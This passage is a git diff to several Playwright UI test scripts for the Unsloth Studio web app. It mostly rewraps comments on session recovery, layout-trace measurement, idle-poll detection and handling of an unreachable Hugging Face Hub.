+2224,7 @@ with sync_playwright() as p:flush = True,)time.sleep(backoff_s)- # Replace the page if it died; otherwise next iteration's- # page.goto() handles the reload.+ # Replace the page if it died; otherwise next iteration's page.goto() handles the reload.old_page = pagepage = recover_or_replace_page(page,@@ -2355,17 +2232,17 @@ with sync_playwright() as p:default_timeout_ms = 60_000,info = lambda m: print(f"[ui] recovery: {m}", flush = True),)- # A freshly created replacement page loses the pageerror/console- # listeners; re-attach so error tracking survives recovery.+ # A freshly created replacement page loses the pageerror/console listeners; re-attach so error tracking+ # survives recovery.if page is not old_page:page.on("pageerror", lambda e: page_errors.append(str(e)))page.on("console", _on_console)if relogin_err is not None:raise relogin_err- # Composer mount confirms the rotated session is authenticated. Kept OUTSIDE the- # retry: the loop breaks right after submit, so we never re-goto /login once login- # has set tokens -- that would hit the guest guard, redirect to /chat, and make a- # merely-slow composer look like a broken login.+ # Composer mount confirms the rotated session is authenticated.+ # Kept OUTSIDE the retry: the loop breaks right after submit, so we never re-goto /login once login has set+ # tokens -- that would hit the guest guard, redirect to /chat, and make a merely-slow composer look like a broken+ # login.composer = page.locator('textarea[aria-label="Message input"]')composer.wait_for(state = "visible", timeout = 60_000)monitor_deadline = time.time() + 10@@ -2402,8 +2279,6 @@ with sync_playwright() as p:stop_btn.wait_for(state = "visible", timeout = 5_000)stop_btn.click()- # Wait for the post-shutdown placeholder body (the component swaps in- # "Unsloth has stopped." once /api/shutdown returns ok).try:page.wait_for_function("""() => /Unsloth has stopped/.test(document.body.innerText)""",@@ -2414,7 +2289,8 @@ with sync_playwright() as p:except Exception as exc:info(f"WARN shutdown placeholder didn't render: {exc!r}")- # /api/health must now be unreachable; poll for up to 15s.+ # /api/health must now be unreachable;+ # poll for up to 15s.host = re.sub(r"^https?://", "", BASE).split(":")[0]port = int(re.search(r":(\d+)", BASE).group(1)) if ":" in BASE else 80deadline = time.time() + 15@@ -2434,10 +2310,9 @@ with sync_playwright() as p:except urllib.error.URLError as exc:info(f"OK /api/health unreachable: {exc!r}")- # Some pageerrors are benign: chat-completions 422s (network-layer- # bubble-up, not a JS bug; per-turn flow already validates each turn)- # and fetch failures after Shutdown (server is dead by design). Full- # list in `_playwright_robust.BENIGN_PAGE_ERROR_PATTERNS`.+ # Some pageerrors are benign: chat-completions 422s (network-layer bubble-up, not a JS bug; per-turn flow already+ # validates each turn) and fetch failures after Shutdown (server is dead by design). Full list in+ # `_playwright_robust.BENIGN_PAGE_ERROR_PATTERNS`.real_errors = [e for e in page_errors if not is_benign_page_error(e)]real_console_errors = [e for e in console_errors if not is_benign_console_error(e)]if page_errors:diff --git a/tests/studio/playwright_code_block_flicker.py b/tests/studio/playwright_code_block_flicker.pyindex 0419f99de66..25825e1ba20 100644--- a/tests/studio/playwright_code_block_flicker.py+++ b/tests/studio/playwright_code_block_flicker.py@@ -124,9 +124,8 @@ TAIL_MS = int(os.environ.get("SMOKE_FLICKER_TAIL_MS", "2500"))MUST_FLICKER = {"streamdown", "released"}MUST_NOT_FLICKER = {"tree", "legacy"}-# The positive control is what makes a clean run mean anything: without a variant REQUIRED to-# flicker, "no collapses anywhere" is equally consistent with a detector that measured nothing.-# The verdict loop only judges variants it ran, so a filtered set with no control is refused here.+# The positive control is what makes a clean run mean anything: without a variant REQUIRED to flicker, "no collapses+# anywhere" is equally consistent with a detector that measured nothing.if not MUST_FLICKER & set(VARIANTS):raise SystemExit("SMOKE_FLICKER_VARIANTS="@@ -137,10 +136,10 @@ if not MUST_FLICKER & set(VARIANTS):)# What each variant must have computed to on a settled block, checked before anything is measured.-# Without this guard: the tree's override lives in `@layer utilities`, and for IMPORTANT-# declarations the cascade REVERSES layer order, so an unlayered `!important` variant silently-# loses to it. All four then computed `visible`/`none`, all reported zero collapses, and the run-# read as "nothing flickers anywhere" having measured one stylesheet four times.+# Without this guard: the tree's override lives in `@layer utilities`, and for IMPORTANT declarations the cascade+# REVERSES layer order, so an unlayered `!important` variant silently loses to it. All four then+# computed `visible`/`none`, reported zero collapses, and the run read as "nothing flickers+# anywhere" having measured one stylesheet four times.EXPECTED_COMPUTED = {"streamdown": {"contentVisibility": "auto"},"released": {"contentVisibility": "auto"},diff --git a/tests/studio/playwright_collapse_layout.py b/tests/studio/playwright_collapse_layout.pyindex dae69b86f3e..118be4567b7 100644--- a/tests/studio/playwright_collapse_layout.py+++ b/tests/studio/playwright_collapse_layout.py@@ -105,8 +105,7 @@ from _playwright_robust import ( # noqa: E402)PORT = int(os.environ.get("SMOKE_PORT", "5217"))-# Unset: start and stop our own server. Set: drive that one and leave it running.-# Exported-but-empty counts as unset, else we skip the server and drive "" as the URL.+# Unset: start and stop our own server._EXTERNAL = os.environ.get("SMOKE_BASE_URL", "").strip()BASE = _EXTERNAL or f"http://127.0.0.1:{PORT}"OWNS_SERVER = not _EXTERNAL@@ -118,23 +117,22 @@ SMOKE_ENTRY = "smoke-collapse-layout-main.tsx"ARMS = ("radix-height", "radix-grid", "unmeasured-grid", "reasoning")-# The flag the `reasoning` arm follows is a build-time constant, so the page cannot report it.-# Read it out of the source vite is serving instead, and record it beside the numbers: a-# before/after table with no note of which side of the flag it came from is unreadable a week later.+# The flag the `reasoning` arm follows is a build-time constant, so the page cannot report it. Read it out of the+# source vite is serving instead, and record it beside the numbers: a before/after table with no note of which side of+# the flag it came from is unreadable a week later.FLAG_SOURCE = FRONTEND / "src" / "components" / "assistant-ui" / "thread-feature-flags.ts"-# Two document sizes, because the claim is about SCALING and a single size cannot show it. The-# small one is a plausible thread; the large one is where O(total layout objects) stops being a-# rounding error. One filler row is a block of a dozen inline boxes, so the layout-object count is-# roughly forty times the row count, and the report prints the element count the page measured-# rather than trusting this parameter.+# Two document sizes, because the claim is about SCALING and a single size cannot show it. The small one is a plausible+# thread; the large one is where O(total layout objects) stops being a rounding error. One filler row is a block of a+# dozen inline boxes, so the layout-object count is roughly forty times the row count, and the report prints the element+# count the page measured rather than trusting this parameter.DEFAULT_FILLERS = (200, 5000)DEFAULT_PANE_PARAGRAPHS = int(os.environ.get("SMOKE_COLLAPSE_PANE_PARAGRAPHS", "40"))DEFAULT_CYCLES = int(os.environ.get("SMOKE_COLLAPSE_CYCLES", "6"))-# Unthrottled by default: unlike a streaming render, a forced full-document layout is expensive on-# any machine, so there is nothing here that needs slowing down to become visible. Kept as a knob-# because throttling scales both sides of the comparison equally and can lift the signal on a box-# whose layout is fast enough that the small-filler column reads as noise.+# Unthrottled by default: unlike a streaming render, a forced full-document layout is expensive on any machine, so there+# is nothing here that needs slowing down to become visible. Kept as a knob because throttling scales both sides of the+# comparison equally and can lift the signal on a box whose layout is fast enough that the small-filler column reads as+# noise.DEFAULT_THROTTLE = int(os.environ.get("SMOKE_COLLAPSE_THROTTLE", "1"))# The pane animates for 200ms. Everything below waits past that, so a measurement never lands@@ -148,10 +146,9 @@ STACK_FRAMES_KEPT = 4# A five-thousand-row page is a real render in a dev server on a cold module graph.READY_TIMEOUT_MS = 180_000-# `Layout` is emitted under `devtools.timeline`; the disabled-by-default siblings are where the-# invalidation stack lives and are cheap to ask for. The parse below matches on the event NAME and-# records whatever category it arrived under, so an upstream recategorisation shows up in the-# report as a changed category rather than as a silent zero.+# `Layout` is emitted under `devtools.timeline`;+# The parse below matches on the event NAME and records whatever category it arrived under, so an upstream+# recategorisation shows up in the report as a changed category rather than as a silent zero.TRACE_CATEGORIES = ("devtools.timeline","disabled-by-default-devtools.timeline",@@ -159,9 +156,9 @@ TRACE_CATEGORIES = ("blink.user_timing",)-# Clicking through Playwright would put its own hit-testing, and the layout reads that come with-# it, inside the trace window. The whole cycle also runs in one evaluate so a round trip cannot-# land between the open and the close of a single toggle.+# Clicking through Playwright would put its own hit-testing, and the layout reads that come with it, inside the trace+# window. The whole cycle also runs in one evaluate so a round trip cannot land between the open and the close of a+# single toggle.TOGGLE_CYCLES_JS = """async ([cycles, settleMs]) => {const trigger = () => document.querySelector('[data-probe="trigger"]');@@ -189,18 +186,17 @@ CLICK_TRIGGER_JS = """}"""-# The arm mounted, and the hooks App installs in its effect are there to drive it. Checked-# separately from `__probeReady`, which is published from module scope and is therefore set even-# when the arm threw during render.+# The arm mounted, and the hooks App installs in its effect are there to drive it. Checked separately from+# `__probeReady`, which is published from module scope and is therefore set even when the arm threw during render.ARM_DRIVABLE_JS = """() => Boolean(document.querySelector('[data-probe="trigger"]'))&& typeof window.__probeGrow === "function"&& typeof window.__probeReset === "function""""-# `overflowPx` is the whole streaming question in one number: how far the last paragraph's bottom-# sits below the pane's own box. A height animated to a value captured at toggle time clips-# whatever arrived afterwards; `1fr` re-resolves against the content every frame and cannot.+# `overflowPx` is the whole streaming question in one number: how far the last paragraph's bottom sits below the pane's+# own box. A height animated to a value captured at toggle time clips whatever arrived afterwards; `1fr` re-resolves+# against the content every frame and cannot.PANE_SNAPSHOT_JS = """() => {const content = document.querySelector('[data-probe="content"]');@@ -234,9 +230,9 @@ def reasoning_flag_in_source() -> bool | None:None when the file cannot be read, which is the honest answer under SMOKE_BASE_URL: theserver is then someone else's tree and this one says nothing about it."""- # SMOKE_BASE_URL serves a bundle built somewhere else, so the local working tree is not- # evidence about it. Reading it anyway would label a flag-on bundle as flag-off in the- # report, which is the one thing the `reasoning` arm exists to get right.+ # SMOKE_BASE_URL serves a bundle built somewhere else, so the local working tree is not evidence about it. Reading+ # it anyway would label a flag-on bundle as flag-off in the report, which is the one thing the `reasoning` arm+ # exists to get right.if _EXTERNAL:return Nonetry:@@ -342,8 +338,7 @@ def summarise_layouts(events: list[dict]) -> dict:categories.add(str(event.get("cat", "")))begin = (event.get("args") or {}).get("beginData") or {}stack = begin.get("stackTrace") or []- # Complete ("X") events carry `dur`. A B/E pair does not, and counting one as a zero would- # report a free toggle, so those are counted separately instead of averaged in.+ # Complete ("X") events carry `dur`.if event.get("dur") is None:without_duration += 1else:@@ -356,10 +351,9 @@ def summarise_layouts(events: list[dict]) -> dict:total.append(begin["totalObjects"])if stack:forced_total.append(begin["totalObjects"])- # Several frames, not one. The top of a forced-layout stack is an anonymous callee inside- # the bundled dependency, which names the file but not the reason; the frame that says- # this ran from a layout effect is a few down. Together they make a row attributable- # instead of arguable.+ # Several frames, not one. The top of a forced-layout stack is an anonymous callee inside the bundled+ # dependency, which names the file but not the reason; the frame that says this ran from a layout effect is a+ # few down. Together they make a row attributable instead of arguable.if stack:sources.add(" <- ".join(_frame_label(frame) for frame in stack[:STACK_FRAMES_KEPT]))scope = begin.get("partialLayout")@@ -404,8 +398,8 @@ def grow_probe(page) -> dict:page.wait_for_timeout(SETTLE_MS)settled_after = page.evaluate(PANE_SNAPSHOT_JS)- # Back to a closed pane at the original size, so the mid-flight run opens from the state the- # settled one did rather than from a pane that is already half as long again.+ # Back to a closed pane at the original size, so the mid-flight run opens from the state the settled one did rather+ # than from a pane that is already half as long again.page.evaluate("() => window.__probeReset()")page.wait_for_timeout(SETTLE_MS)page.evaluate(CLICK_TRIGGER_JS)@@ -414,8 +408,8 @@ def grow_probe(page) -> dict:page.evaluate(CLICK_TRIGGER_JS)page.wait_for_timeout(MIDFLIGHT_GROW_DELAY_MS)page.evaluate("(n) => window.__probeGrow(n)", GROW_PARAGRAPHS)- # Twice the settle, because this growth lands during the transition and the row has to finish- # resolving against content that changed underneath it.+ # Twice the settle, because this growth lands during the transition and the row has to finish resolving against+ # content that changed underneath it.page.wait_for_timeout(SETTLE_MS * 2)midflight_after = page.evaluate(PANE_SNAPSHOT_JS)return {@@ -444,8 +438,8 @@ def run_cell(context, arm: str, fillers: int, options: argparse.Namespace) -> diproblems: list[str] = []try:page.goto(url, wait_until = "domcontentloaded", timeout = READY_TIMEOUT_MS)- # The page publishes `__probeReady` after two frames and puts the element count in it, so- # "document size" in the report is measured rather than being the parameter restated.+ # The page publishes `__probeReady` after two frames and puts the element count in it, so "document size" in the+ # report is measured rather than being the parameter restated.page.wait_for_function("() => Boolean(window.__probeReady)", timeout = READY_TIMEOUT_MS)ready = page.evaluate("() => window.__probeReady")@@ -458,15 +452,9 @@ def run_cell(context, arm: str, fillers: int, options: argparse.Namespace) -> di) from exc# Re-read the size AFTER the arm is drivable, and do not trust the value captured above.- # Document size is the x axis of this experiment, so it is worth taking at the moment the- # measurement actually starts rather than at the earliest moment the page was willing to- # say anything. The page now publishes from a post-commit effect, but this harness also- # runs against SMOKE_BASE_URL, where the served bundle may be an older one that still- # published from module scope after two frames.ready["elements"] = page.evaluate("() => document.getElementsByTagName('*').length")- # The page echoes the query it parsed. A renamed or misspelt parameter would otherwise- # sweep four identical cells and report the flat line as a result.+ # The page echoes the query it parsed.if ready.get("arm") != arm:problems.append(f"asked for arm {arm!r}, page reports {ready.get('arm')!r}")if ready.get("fillers") != fillers:@@ -484,9 +472,9 @@ def run_cell(context, arm: str, fillers: int, options: argparse.Namespace) -> diif options.throttle > 1:cdp.send("Emulation.setCPUThrottlingRate", {"rate": options.throttle})- # One discarded cycle. The first open mounts the pane's content and resolves its styles- # for the first time, which is real work that has nothing to do with the toggle and would- # otherwise dominate the first measured cycle.+ # One discarded cycle. The first open mounts the pane's content and resolves its styles for the first time,+ # which is real work that has nothing to do with the toggle and would otherwise dominate the first+ # measured cycle.page.evaluate(TOGGLE_CYCLES_JS, [1, SETTLE_MS])collected = start_tracing(cdp)@@ -653,11 +641,10 @@ def collect_failures(report: dict) -> list[str]:"the streaming check measured nothing")- # The forced column is the one the arms are read on, and it is the one that goes quietly to- # zero: it needs the disabled-by-default stack category, and a trace without it reports every- # arm as forcing nothing, which looks like the fix already landed everywhere. radix-height is- # the anchor, because Radix's measurement is unconditional upstream and cannot legitimately- # read zero, so this is only asserted on a sweep that includes it.+ # The forced column is the one the arms are read on, and it is the one that goes quietly to zero: it needs the+ # disabled-by-default stack category, and a trace without it reports every arm as forcing nothing, which looks like+ # the fix already landed everywhere. radix-height is the anchor, because Radix's measurement is unconditional+ # upstream and cannot legitimately read zero, so this is only asserted on a sweep that includes it.ran_radix_height = [cell for cell in cells if cell["arm"] == "radix-height"]if ran_radix_height and not any(cell["trace"]["forced_layouts"] for cell in cells):failures.append(@@ -667,8 +654,8 @@ def collect_failures(report: dict) -> list[str]:f"{sorted({c for cell in cells for c in cell['trace']['categories']})}")- # A sweep whose cells all rendered the same document proves nothing about scaling, and the- # flat table it produces reads like a result rather than like a broken parameter.+ # A sweep whose cells all rendered the same document proves nothing about scaling, and the flat table it produces+ # reads like a result rather than like a broken parameter.by_arm: dict[str, list[dict]] = {}for cell in cells:by_arm.setdefault(cell["arm"], []).append(cell)@@ -766,9 +753,8 @@ def run(options: argparse.Namespace) -> dict:}with sync_playwright() as p:browser = p.chromium.launch(headless = not options.headful, args = chromium_launch_args())- # A fixed viewport, because a filler row's height depends on how many times it wraps and- # therefore on the width; a default that varied by machine would move the layout-object- # count between runs of the same command.+ # A fixed viewport, because a filler row's height depends on how many times it wraps and therefore on the width;+ # a default that varied by machine would move the layout-object count between runs of the same command.context = browser.new_context(viewport = {"width": 1200, "height": 900})try:for arm in options.arms:diff --git a/tests/studio/playwright_declared_polls.py b/tests/studio/playwright_declared_polls.pyindex 9a0a75e58a4..88b65267c49 100644--- a/tests/studio/playwright_declared_polls.py+++ b/tests/studio/playwright_declared_polls.py@@ -64,9 +64,9 @@ SETTLE_S = float(os.environ.get("PW_POLL_SETTLE_S", "20"))WATCH_S = float(os.environ.get("PW_POLL_WATCH_S", "75"))WALL_TIMEOUT_S = SETTLE_S + WATCH_S + 180-# A boot read fires once. A retry fires twice. Three identical requests while the user is-# doing nothing at all is a timer, and the threshold is deliberately this blunt: anything-# cleverer (spacing regularity, variance) turns a gate into a coin toss on a shared runner.+# A boot read fires once. A retry fires twice. Three identical requests while the user is doing nothing at all is a+# timer, and the threshold is deliberately this blunt: anything cleverer (spacing regularity, variance) turns a gate+# into a coin toss on a shared runner.POLL_THRESHOLD = 3# Sidebar sections to walk, so section-scoped timers get a chance to run.@@ -114,9 +114,9 @@ def main() -> int:info("FAIL backend never became healthy")return 1- # Bootstrap as the sibling suites do: the first login forces a change. Tolerate the- # rotation having already happened, because a second suite against the same instance- # would otherwise die on a 401 traceback instead of just logging in.+ # Bootstrap as the sibling suites do: the first login forces a change.+ # Tolerate the rotation having already happened, because a second suite against the same instance would otherwise+ # die on a 401 traceback instead of just logging in.try:token = api("/api/auth/login", {"username": "unsloth", "password": OLD})["access_token"]except urllib.error.HTTPError as exc:@@ -139,10 +139,9 @@ def main() -> int:)seen: Counter[str] = Counter()- # Counts are attributed to the current dwell, never summed across the walk. Visiting- # five sections fetches a per-view endpoint five times, which is indistinguishable from- # a 30s timer if you only look at the total. A timer repeats WITHIN one dwell; a- # per-view fetch fires once and stops. The per-dwell maximum is the honest signal.+ # Counts are attributed to the current dwell, never summed across the walk. Visiting five sections fetches a+ # per-view endpoint five times, which is indistinguishable from a 30s timer if you only look at the total. A timer+ # repeats WITHIN one dwell; a per-view fetch fires once and stops. The per-dwell maximum is the honest signal.dwell_counts: Counter[str] = Counter()per_dwell_max: Counter[str] = Counter()counting = False@@ -173,15 +172,14 @@ def main() -> int:page.on("request", on_request)page.goto(BASE, wait_until = "domcontentloaded", timeout = 60_000)- # Boot traffic is one-shot by nature and would otherwise be indistinguishable from- # a slow poll over a short window. Let it drain before counting anything.+ # Boot traffic is one-shot by nature and would otherwise be indistinguishable from a slow poll over a short+ # window. Let it drain before counting anything.page.wait_for_timeout(int(SETTLE_S * 1000))counting = True- # Sitting on the default screen sees almost nothing: measured, the chat view polls- # two paths. Most timers belong to a section, so walk the sidebar and dwell on each- # long enough for a 5s poll to fire several times. Without this the suite passes by- # watching a screen where nothing could have regressed.+ # Sitting on the default screen sees almost nothing: measured, the chat view polls two paths. Most timers belong+ # to a section, so walk the sidebar and dwell on each long enough for a 5s poll to fire several times. Without+ # this the suite passes by watching a screen where nothing could have regressed.dwell = max(int(WATCH_S * 1000 / (len(SECTIONS) + 1)), 20_000)for label in SECTIONS:try:@@ -228,9 +226,9 @@ def main() -> int:)if len(polled) < MIN_POLLED_PATHS:- # Too thin to mean anything: the listener never attached, the walk never left one- # screen, or the window was too short. A clean sheet from a run like that is not a- # pass, it is an absence of evidence, so say so instead of reporting green.+ # Too thin to mean anything: the listener never attached, the walk never left one screen, or the window was too+ # short. A clean sheet from a run like that is not a pass, it is an absence of evidence, so say so instead of+ # reporting green.info(f"FAIL saw only {len(polled)} polled path(s), expected at least "f"{MIN_POLLED_PATHS}; this run cannot vouch for anything"@@ -239,9 +237,8 @@ def main() -> int:info(f" {path} {n}x")return 1- # Declared-but-unobserved is NOT a failure. Several entries only poll while a pane is- # open (the settings dialog, a download, the log viewer), and an idle run legitimately- # never sees them.+ # Declared-but-unobserved is NOT a failure. Several entries only poll while a pane is open (the settings dialog, a+ # download, the log viewer), and an idle run legitimately never sees them.unobserved = sorted(declared - set(polled))if unobserved:info(diff --git a/tests/studio/playwright_extra_ui.py b/tests/studio/playwright_extra_ui.pyindex c722aea64d2..03050d70ba9 100644--- a/tests/studio/playwright_extra_ui.py+++ b/tests/studio/playwright_extra_ui.py@@ -39,37 +39,36 @@ ART_DIR = os.environ.get("PW_ART_DIR", "logs/playwright_extra")ART = Path(ART_DIR)ART.mkdir(parents = True, exist_ok = True)STRICT = os.environ.get("STUDIO_UI_STRICT", "0") == "1"-# The Voice-picker media-access crash is specific to headless Chromium on macos-14; only there-# is a renderer crash downgraded to a warning. Linux/Windows keep hard crash coverage.+# The Voice-picker media-access crash is specific to headless Chromium on macos-14; only there is a renderer crash+# downgraded to a warning. Linux/Windows keep hard crash coverage.MACOS_RUNNER = os.environ.get("RUNNER_OS", "").lower() == "macos" or sys.platform == "darwin"# Longer turn timeout: gemma-3-270m CPU inference is 3-5x slower on macos-14 runners.TURN_TIMEOUT_MS = int(os.environ.get("STUDIO_UI_TURN_TIMEOUT_MS", "180000"))WALL_TIMEOUT_S = float(os.environ.get("STUDIO_UI_WALL_TIMEOUT_S", "720"))FETCH_TIMEOUT_MS = int(os.environ.get("STUDIO_UI_FETCH_TIMEOUT_MS", "30000"))LOAD_FETCH_TIMEOUT_MS = int(os.environ.get("STUDIO_UI_LOAD_TIMEOUT_MS", "180000"))-# Declares a runner with no route to the Hub, for the voice-picker wheel step. Egress that is-# blackholed rather than refused can leave the search hanging with no transport failure to observe,-# so the fallback needs a way to be asserted as well as detected.+# Declares a runner with no route to the Hub, for the voice-picker wheel step. Egress that is blackholed rather than+# refused can leave the search hanging with no transport failure to observe, so the fallback needs a way to be asserted+# as well as detected.HF_OFFLINE = os.environ.get("STUDIO_UI_HF_OFFLINE", "0") == "1"-# Voice-picker wheel budget, both halves set by the frontend rather than picked round. The-# searched rows are up to 15.3s away on a healthy runner: the query is debounced 300ms and the-# Hugging Face search is then given 15s (HF_SEARCH_TIMEOUT_MS,-# studio/frontend/src/features/hub/hooks/use-hub-model-search.ts). Waiting 15.5s for them clears-# that, so a slow-but-working Hub is not red, and it also outlives the abort at 15.3s that a-# blackholed runner's search ends in, so the transport failure that permits the fallback is-# observed before the wait gives up. Those 200ms of headroom only hold while the debounce fires-# on time, so when the wait runs out with the search still open the budget is re-based onto the-# request itself (search_abort_extension) rather than spent. The 30s ceiling is that wait-# plus the re-basing a starved runner needs, plus what is left to do after-# it: a list swap landing mid-wheel costs one 2s wheel round, and an unreachable-Hub run has-# already spent its first 15.5s searching when it clears the query and wheels the built-in list.-# Only a failing run pays either; a passing run leaves on the first wheel, 1.5s end to end in CI.+# Voice-picker wheel budget, both halves set by the frontend rather than picked round.+# The searched rows are up to 15.3s away on a healthy runner: the query is debounced 300ms and the Hugging Face search+# is then given 15s (HF_SEARCH_TIMEOUT_MS, studio/frontend/src/features/hub/hooks/use-hub-model-search.ts). Waiting+# 15.5s for them clears that, so a slow-but-working Hub is not red, and it also outlives the abort at 15.3s that a+# blackholed runner's search ends in, so the transport failure that permits the fallback is observed before the wait+# gives up.+# Those 200ms of headroom only hold while the debounce fires on time, so when the wait runs out with the search still+# open the budget is re-based onto the request itself (search_abort_extension) rather than spent.+# The 30s ceiling is that wait plus the re-basing a starved runner needs, plus what is left to do after it: a list swap+# landing mid-wheel costs one 2s wheel round, and an unreachable-Hub run has already spent its first 15.5s searching+# when it clears the query and wheels the built-in list. Only a failing run pays either; a passing run leaves on the+# first wheel, 1.5s end to end in CI.WHEEL_ROWS_TIMEOUT_MS = 15_500WHEEL_DEADLINE_S = 30.0-# The ceiling the deadline may be pushed to when the wait is re-based onto a request that is-# still open. WHEEL_DEADLINE_S covers one search, and the picker runs two in sequence, so-# re-basing onto the second has to be allowed to outlast it. Measured from the step's start so-# a page that keeps opening requests cannot hold the step open indefinitely.+# The ceiling the deadline may be pushed to when the wait is re-based onto a request that is still open.+# WHEEL_DEADLINE_S covers one search, and the picker runs two in sequence, so re-basing onto the second has to be+# allowed to outlast it. Measured from the step's start so a page that keeps opening requests cannot hold the step open+# indefinitely.WHEEL_DEADLINE_MAX_S = 75.0_n = [0]@@ -132,15 +131,14 @@ with sync_playwright() as p:)install_view_transition_killer(ctx)- # Evidence that this runner cannot reach the Hub, collected for the whole session because the- # frontend backs off for 30s after a failed Hub request (REMOTE_OFFLINE_TTL_MS in- # studio/frontend/src/features/hub/lib/network.ts) and may not retry inside a later step. Bound- # to the context, not the page, so a replacement page is covered too.+ # Evidence that this runner cannot reach the Hub, collected for the whole session because the frontend backs off for+ # 30s after a failed Hub request (REMOTE_OFFLINE_TTL_MS in studio/frontend/src/features/hub/lib/network.ts) and may+ # not retry inside a later step. Bound to the context, not the page, so a replacement page is covered too.hf_unreachable: list[str] = []# Set while the wheel step owns the picker, so an aborted Hub request can be attributed.wheel_step_active = [False]- # Hub requests still in flight, by start time, so a wait that runs out while the frontend's- # own search timeout is still running can wait for its abort instead of guessing.+ # Hub requests still in flight, by start time, so a wait that runs out while the frontend's own search timeout is+ # still running can wait for its abort instead of guessing.hf_inflight: dict[object, float] = {}def _is_hub_url(url: str) -> bool:@@ -175,10 +173,9 @@ with sync_playwright() as p:if not _is_hub_url(req.url):returnfailure = req.failure or ""- # net::ERR_ABORTED is how a blackholed request ends, at the frontend's own 15s- # search timeout, and equally how a superseded query or an unmounting picker ends.- # It only says "unreachable" while the wheel step holds the picker open on a single- # query, where nothing else can be cancelling anything. Every other failure is a+ # net::ERR_ABORTED is how a blackholed request ends, at the frontend's own 15s search timeout, and equally+ # how a superseded query or an unmounting picker ends. It only says "unreachable" while the wheel step holds+ # the picker open on a single query, where nothing else can be cancelling anything. Every other failure is a# transport error and counts wherever it happens.if "ERR_ABORTED" in failure and not wheel_step_active[0]:return@@ -193,18 +190,17 @@ with sync_playwright() as p:passdef _on_response(resp) -> None:- # 429 and 5xx are the Hub refusing to serve this runner. Every other 4xx is a request the- # app itself built wrong, which is a real defect and must not excuse anything.+ # 429 and 5xx are the Hub refusing to serve this runner. Every other 4xx is a request the app itself built+ # wrong, which is a real defect and must not excuse anything.try:if not _is_hub_url(resp.url):returnif resp.status == 429 or resp.status >= 500:_note_hf_unreachable(f"HTTP {resp.status}")elif hf_unreachable:- # A served response proves this runner has a route to the Hub, so the earlier- # failures are stale and must stop excusing anything: the frontend drops its own- # offline state on exactly this signal (markRemoteNetworkOnline,- # studio/frontend/src/features/hub/lib/network.ts). Keeping them would let one+ # A served response proves this runner has a route to the Hub, so the earlier failures are stale and+ # must stop excusing anything: the frontend drops its own offline state on exactly this signal+ # (markRemoteNetworkOnline, studio/frontend/src/features/hub/lib/network.ts). Keeping them would let one# transient failure hand a later search-rendering regression the built-in list.info(f"Hugging Face reachable again (HTTP {resp.status}); dropping "@@ -379,7 +375,8 @@ with sync_playwright() as p:composer = page.locator('textarea[aria-label="Message input"]')composer.wait_for(state = "visible", timeout = 60_000)- # Detect chat-only mode (/api/health.chat_only): /studio redirects to /chat while /export stays reachable and self-gated.+ # Detect chat-only mode (/api/health.chat_only): /studio redirects to /chat while /export stays reachable and+ # self-gated.health_resp = evaluate_fetch(page,f"{BASE}/api/health",@@ -406,9 +403,8 @@ with sync_playwright() as p:)if plus_btn is not None:click_forced(plus_btn)- # The menu items get a short wait rather than the full one: a miss here is- # a real branch (the item lives under "More"), not a slow render, and the- # fallbacks below must stay quick.+ # The menu items get a short wait rather than the full one: a miss here is a real branch (the item lives under+ # "More"), not a slow render, and the fallbacks below must stay quick.compare_item = wait_for_first(page.get_by_role("menuitem", name = re.compile(r"Compare chat", re.I)),timeout_ms = 2000,@@ -465,8 +461,8 @@ with sync_playwright() as p:cmp_composer.fill("Reply with: A")# Prefer Enter: onKeyDown maps plain Enter to send(); the Send button's aria-label came late.cmp_composer.press("Enter")- # Expect 2 new assistant bubbles (one per pane). Panes have no explicit model in this CI flow- # so the backend may reject; downgrade to runtime_warn but keep the structural assertions.+ # Expect 2 new assistant bubbles (one per pane). Panes have no explicit model in this CI flow so the+ # backend may reject; downgrade to runtime_warn but keep the structural assertions.try:page.wait_for_function("""(want) => {@@ -675,9 +671,9 @@ with sync_playwright() as p:if voice_tab.count() == 0:fail("Voice settings tab not found")else:- # The dictation-engine dropdown touches a media-access path that can crash headless Chromium- # on macos-14 (CheckMediaAccessPermission), so there a crash is a runtime warning + page- # recovery; on Linux/Windows a crash and any live-page failure stay a hard fail.+ # The dictation-engine dropdown touches a media-access path that can crash headless Chromium on macos-14+ # (CheckMediaAccessPermission), so there a crash is a runtime warning + page recovery; on Linux/Windows a+ # crash and any live-page failure stay a hard fail.try:voice_tab.click()# By test id: these were bound to translated copy, which caused #7835.@@ -686,22 +682,19 @@ with sync_playwright() as p:page.get_by_test_id("stt-model-trigger").click()wheel_step_active[0] = Trueresults = page.get_by_test_id("stt-model-results")- # Wheel at the searched rows, not at whatever overflows first. The query is- # debounced 300ms and the list is then replaced by a one-line spinner for as- # long as the Hugging Face search takes, so the first paint that overflows is- # the pre-search built-in list: on macos-15 the hover + wheel lands after the- # swap, on a container that is one spinner row tall and has nothing to scroll.- # Requiring rendered model rows (the loading and empty states are plain divs,- # every row is a button) pins the assertion to the state a user scrolls, and- # re-wheeling until the deadline absorbs a swap that lands mid-wheel.+ # Wheel at the searched rows, not at whatever overflows first. The query is debounced 300ms and the+ # list is then replaced by a one-line spinner for as long as the Hugging Face search takes, so the+ # first paint that overflows is the pre-search built-in list: on macos-15 the hover + wheel lands after+ # the swap, on a container that is one spinner row tall and has nothing to scroll. Requiring rendered+ # model rows (the loading and empty states are plain divs, every row is a button) pins the assertion to+ # the state a user scrolls, and re-wheeling until the deadline absorbs a swap that lands mid-wheel.#- # Rows alone are not enough, though: the built-in list is rows, and it overflows- # from the moment the popover opens, so a fast runner can satisfy that inside the- # 300ms debounce and never wheel a searched row at all. Snapshot the built-in- # rows first and require the list to have become something else, so the search is- # what is being scrolled. The built-in list is accepted only on proof that the- # Hub is unreachable (see below), which is also the only branch that clears the- # query and so the only one that waits on `rows_overflow`.+ # Rows alone are not enough, though: the built-in list is rows, and it overflows from the moment the+ # popover opens, so a fast runner can satisfy that inside the 300ms debounce and never wheel a searched+ # row at all. Snapshot the built-in rows first and require the list to have become something else, so+ # the search is what is being scrolled.+ # The built-in list is accepted only on proof that the Hub is unreachable (see below), which is also the+ # only branch that clears the query and so the only one that waits on `rows_overflow`.builtin_rows_js = """() => {const node = document.querySelector('[data-testid="stt-model-results"]');if (!node) return "";@@ -783,8 +776,8 @@ with sync_playwright() as p:timeout = rows_ms,)except Exception as row_err:- # A dead renderer must reach the crash handler below, exactly as in the- # wheel wait; swallowed here it becomes a hard "did not wheel-scroll".+ # A dead renderer must reach the crash handler below, exactly as in the wheel wait; swallowed+ # here it becomes a hard "did not wheel-scroll".if page_crashed(page, row_err):raiseif not (cleared_search or hf_unreachable or HF_OFFLINE):@@ 